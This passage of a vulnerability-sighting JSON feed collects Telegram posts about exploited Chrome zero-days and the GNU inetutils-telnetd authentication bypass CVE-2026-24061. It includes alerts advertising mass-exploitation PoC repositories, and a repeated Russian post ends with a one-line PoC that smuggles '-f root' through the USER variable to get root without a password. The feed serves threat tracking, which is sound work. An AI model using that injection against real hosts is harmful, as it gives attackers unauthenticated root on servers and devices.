\u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b \u0432\u0435\u0431-\u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0438\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0434\u0430\u043d\u043d\u044b\u043c \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0431\u0443\u0444\u0435\u0440\u0430 \u043f\u0430\u043c\u044f\u0442\u0438 \u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u043a\u0443\u0447\u0438, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044e \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0438\u043b\u0438 \u0441\u0431\u043e\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u041f\u043e\u043c\u0438\u043c\u043e \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0430\u043c\u044f\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u043e\u0433\u043e \u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d\u0430, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f 0-day \u043c\u043e\u0436\u0435\u0442 \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432 \u0437\u0430\u0449\u0438\u0442\u044b, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a ASLR, \u0447\u0442\u043e \u0443\u043f\u0440\u043e\u0449\u0430\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0447\u0435\u0440\u0435\u0437 \u0434\u0440\u0443\u0433\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c.\n\nGoogle \u0442\u0440\u0430\u0434\u0438\u0446\u0438\u043e\u043d\u043d\u043e \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0435\u0439 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e\u0431 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 CVE-2024-0519 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445, \u043d\u043e \u043f\u043e\u043a\u0430 \u043d\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043e\u0431 \u044d\u0442\u0438\u0445 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430\u0445.\n\n\u0421 \u043d\u0430\u0447\u0430\u043b\u0430 \u0433\u043e\u0434\u0430 Google \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0435\u0449\u0435 \u0447\u0435\u0442\u044b\u0440\u0435 \u043d\u0443\u043b\u044f, \u0432\u043a\u043b\u044e\u0447\u0430\u044f CVE-2026-2441 \u0432 CSSFontFeatureValuesMap, CVE-2026-3909 \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 2D-\u0433\u0440\u0430\u0444\u0438\u043a\u0438 Skia, \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 V8 JavaScript \u0438 WebAssembly (CVE-2026-3910), \u0430 \u0442\u0430\u043a\u0436\u0435 use-after-free \u0432\u00a0Dawn\u00a0(CVE-2026-5281).\n\n\u041f\u0440\u043e\u0448\u043b\u044b\u0439 \u0433\u043e\u0434 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0437\u0430\u043a\u0440\u044b\u043b\u0430 \u0432\u043e\u0441\u0435\u043c\u044c\u044e 0-day , \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445, \u043c\u043d\u043e\u0433\u0438\u0445 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0430 \u0433\u0440\u0443\u043f\u043f\u0430 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0443\u0433\u0440\u043e\u0437 (TAG) \u0432 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0435 \u043a spyware.", "creation_timestamp": "2026-07-12T10:00:04.374695Z"}, {"uuid": "58a2f0c9-be70-4cd4-ab71-b6ea06ae0cfd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/87905", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-24061\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a K3ysTr0K3R\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-08 15:30:56\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nA PoC exploit for CVE-2026-24061 - GNU InetUtils telnetd Argument Injection Authentication Bypass\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-12T12:00:05.317351Z"}, {"uuid": "f8a7a5ab-ede1-4316-8e2f-cb69a98eafb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/87570", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #POC #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-24061-PoC-Exploit\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a tc4dy\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-06 13:05:00\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\ud83d\ude80 CVE-2026-24061 - GNU inetutils-telnetd Auth Bypass Exploit - Full Control \ud83d\udca5 CRLF injection via NEW_ENVIRON leads to auth bypass & instant root shell. \u2705 Single/Mass exploitation, multi-threading, custom port/user, pipe mode, session keep-alive, colored output, retries, timeout support. \u26a1 Python & Bash versions. Critical CVSS 9.8.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-12T13:00:03.533297Z"}, {"uuid": "ae5de92c-89ff-4374-ad0f-8ac9e269f905", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2401", "type": "seen", "source": "Telegram/ppwP7SjBpII8pgpeh42YlKPHpHf-k-R45TC0ouraRp59JoQ", "content": "", "creation_timestamp": "2026-07-12T22:00:05.809267Z"}, {"uuid": "4b3308dc-6e1e-4378-95ff-7d0f62a55e15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/securixy_kz/1299", "content": "\ud83d\udea8 CVE\u20112026\u201124061 -  inetutils\u2011telnetd \u00abRoot Login Bypass\u00bb\n\n\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 inetutils\u2011telnetd (\u0432\u0435\u0440\u0441\u0438\u0438 1.9.3 \u2192 2.7) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0442\u044c\u0441\u044f \u043a\u0430\u043a root \u0431\u0435\u0437 \u043f\u0430\u0440\u043e\u043b\u044f. \u041e\u0448\u0438\u0431\u043a\u0430 \u0432 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0435 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0434\u0435\u043b\u0430\u0435\u0442 telnetd \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u044b, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 \u043f\u0430\u043a\u0435\u0442 \u0438\u0437 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u0432:\nDebian / Ubuntu / Kali / Trisquel \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u043d\u044b\u0435\n\n+ \u0421\u0442\u0430\u0440\u044b\u0435 \u0440\u043e\u0443\u0442\u0435\u0440\u044b, IoT, embedded\u2011\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0435 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u044b\n\n\ud83c\udfaf \u041f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f\n\u2022 \u041f\u043e\u043b\u043d\u044b\u0439 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f root\n\u2022 \u041a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0437\u0430 \u043e\u0434\u043d\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\n\u2022 \u0420\u0438\u0441\u043a \u043c\u0430\u0441\u0441\u043e\u0432\u044b\u0445 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0439 \u0432 legacy\u2011\u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435\n\n\u0417\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438: 1.9.3 \u2192 2.7\n\n\ud83d\udd17 \u0414\u0435\u0442\u0430\u043b\u0438\nNVD: https://nvd.nist.gov/vuln/detail/CVE-2026-24061\n\n\u0410\u043a\u0442\u0438\u0432\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u0443\u0436\u0435 \u0434\u0435\u0442\u0435\u043a\u0442\u044f\u0442: \nhttps://thedailytechfeed.com/critical-vulnerability-in-gnu-inetutils-telnetd-allows-unauthenticated-root-access-active-exploitation-detected/ \n\nPoC: \n\nUSER=\"-f root\" telnet -a  23", "creation_timestamp": "2026-07-12T22:00:06.221980Z"}, {"uuid": "db13da08-99f1-41b5-b114-e5cb64e05275", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://t.me/pleyades_it/12104", "content": "\u2757\ufe0fCVE-2026-2441 #vulnerabilidad #zeroday en Chrome. Parche disponible, actualiza ya.\nhttps://acortar.link/ZQqFWM", "creation_timestamp": "2026-07-12T22:00:14.473213Z"}, {"uuid": "86df61c4-987f-4753-813b-412c2dd0b5e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "exploited", "source": "https://t.me/securixy_kz/1299", "content": "\ud83d\udea8 CVE\u20112026\u201124061 -  inetutils\u2011telnetd \u00abRoot Login Bypass\u00bb\n\n\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 inetutils\u2011telnetd (\u0432\u0435\u0440\u0441\u0438\u0438 1.9.3 \u2192 2.7) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0442\u044c\u0441\u044f \u043a\u0430\u043a root \u0431\u0435\u0437 \u043f\u0430\u0440\u043e\u043b\u044f. \u041e\u0448\u0438\u0431\u043a\u0430 \u0432 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0435 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0434\u0435\u043b\u0430\u0435\u0442 telnetd \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u044b, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 \u043f\u0430\u043a\u0435\u0442 \u0438\u0437 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u0432:\nDebian / Ubuntu / Kali / Trisquel \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u043d\u044b\u0435\n\n+ \u0421\u0442\u0430\u0440\u044b\u0435 \u0440\u043e\u0443\u0442\u0435\u0440\u044b, IoT, embedded\u2011\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0435 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u044b\n\n\ud83c\udfaf \u041f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f\n\u2022 \u041f\u043e\u043b\u043d\u044b\u0439 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f root\n\u2022 \u041a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0437\u0430 \u043e\u0434\u043d\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\n\u2022 \u0420\u0438\u0441\u043a \u043c\u0430\u0441\u0441\u043e\u0432\u044b\u0445 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0439 \u0432 legacy\u2011\u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435\n\n\u0417\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438: 1.9.3 \u2192 2.7\n\n\ud83d\udd17 \u0414\u0435\u0442\u0430\u043b\u0438\nNVD: https://nvd.nist.gov/vuln/detail/CVE-2026-24061\n\n\u0410\u043a\u0442\u0438\u0432\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u0443\u0436\u0435 \u0434\u0435\u0442\u0435\u043a\u0442\u044f\u0442: \nhttps://thedailytechfeed.com/critical-vulnerability-in-gnu-inetutils-telnetd-allows-unauthenticated-root-access-active-exploitation-detected/ \n\nPoC: \n\nUSER=\"-f root\" telnet -a  23", "creation_timestamp": "2026-07-13T00:00:16.289090Z"}, {"uuid": "73bfd285-ffac-443a-8739-26ca0c9905af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2401", "type": "published-proof-of-concept", "source": "Telegram/ppwP7SjBpII8pgpeh42YlKPHpHf-k-R45TC0ouraRp59JoQ", "content": "", "creation_timestamp": "2026-07-13T00:00:16.780447Z"}, {"uuid": "901703e3-2a3f-4584-b89a-e1c825e3f797", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://t.me/pleyades_it/12104", "content": "\u2757\ufe0fCVE-2026-2441 #vulnerabilidad #zeroday en Chrome. Parche disponible, actualiza ya.\nhttps://acortar.link/ZQqFWM", "creation_timestamp": "2026-07-13T00:00:38.375342Z"}, {"uuid": "6a6a4b05-d4d6-4eb3-9b7e-abace958bb43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/87570", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #POC #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-24061-PoC-Exploit\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a tc4dy\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-06 13:05:00\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\ud83d\ude80 CVE-2026-24061 - GNU inetutils-telnetd Auth Bypass Exploit - Full Control \ud83d\udca5 CRLF injection via NEW_ENVIRON leads to auth bypass & instant root shell. \u2705 Single/Mass exploitation, multi-threading, custom port/user, pipe mode, session keep-alive, colored output, retries, timeout support. \u26a1 Python & Bash versions. Critical CVSS 9.8.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T00:00:42.847370Z"}, {"uuid": "38c737b8-76d0-4de4-8384-9690b3e65b9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/87905", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-24061\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a K3ysTr0K3R\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-08 15:30:56\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nA PoC exploit for CVE-2026-24061 - GNU InetUtils telnetd Argument Injection Authentication Bypass\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T00:00:45.051830Z"}, {"uuid": "f812dd37-c2dd-4a76-bce8-545f173d0ee7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "exploited", "source": "https://t.me/true_secator/8294", "content": "Google \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u044d\u043a\u0441\u0442\u0440\u0435\u043d\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0435\u0449\u0435 \u043e\u0434\u043d\u043e\u0439 0-day \u0432 Chrome, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0443\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445, \u0441\u0442\u0430\u0432 \u043f\u044f\u0442\u044b\u043c \u043d\u0443\u043b\u0435\u0439, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u043c \u0441 \u043d\u0430\u0447\u0430\u043b\u0430 \u0433\u043e\u0434\u0430.\n\n\u0420\u0435\u0447\u044c \u0438\u0434\u0435\u0442 \u043e CVE-2026-11645, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0434\u043b\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u0430\u043d\u0430\u043b\u0430 Desktop, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u0431\u044b\u043b\u0438 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u0434\u043b\u044f \u0441\u0438\u0441\u0442\u0435\u043c Windows (149.0.7827.102), Mac (149.0.7827.103) \u0438 Linux (149.0.7827.102) \u0447\u0435\u0440\u0435\u0437 \u0434\u0432\u0435 \u043d\u0435\u0434\u0435\u043b\u0438 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441\u043e\u043e\u0431\u0449\u0438\u043b \u043e \u043d\u0435\u0439 \u0432 Google.\n\nGoogle \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u043d\u044f\u0442\u044c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0434\u043d\u0435\u0439 \u0438\u043b\u0438 \u043d\u0435\u0434\u0435\u043b\u044c, \u0447\u0442\u043e\u0431\u044b \u0434\u043e\u0439\u0442\u0438 \u0434\u043e \u0432\u0441\u0435\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Chrome.\n\n\u0412\u043e\u043e\u0431\u0449\u0435, \u044d\u0442\u0430 \u043a\u0440\u0430\u0439\u043d\u0435 \u043e\u043f\u0430\u0441\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u0447\u0442\u0435\u043d\u0438\u044e \u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u043e\u0433\u043e \u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d\u0430 \u0432 JavaScript-\u0434\u0432\u0438\u0436\u043a\u0435 Chrome V8.\n\n\u0423\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0445 HTML-\u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b \u0432\u0435\u0431-\u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0438\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0434\u0430\u043d\u043d\u044b\u043c \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0431\u0443\u0444\u0435\u0440\u0430 \u043f\u0430\u043c\u044f\u0442\u0438 \u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u043a\u0443\u0447\u0438, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044e \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0438\u043b\u0438 \u0441\u0431\u043e\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u041f\u043e\u043c\u0438\u043c\u043e \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0430\u043c\u044f\u0442\u0438 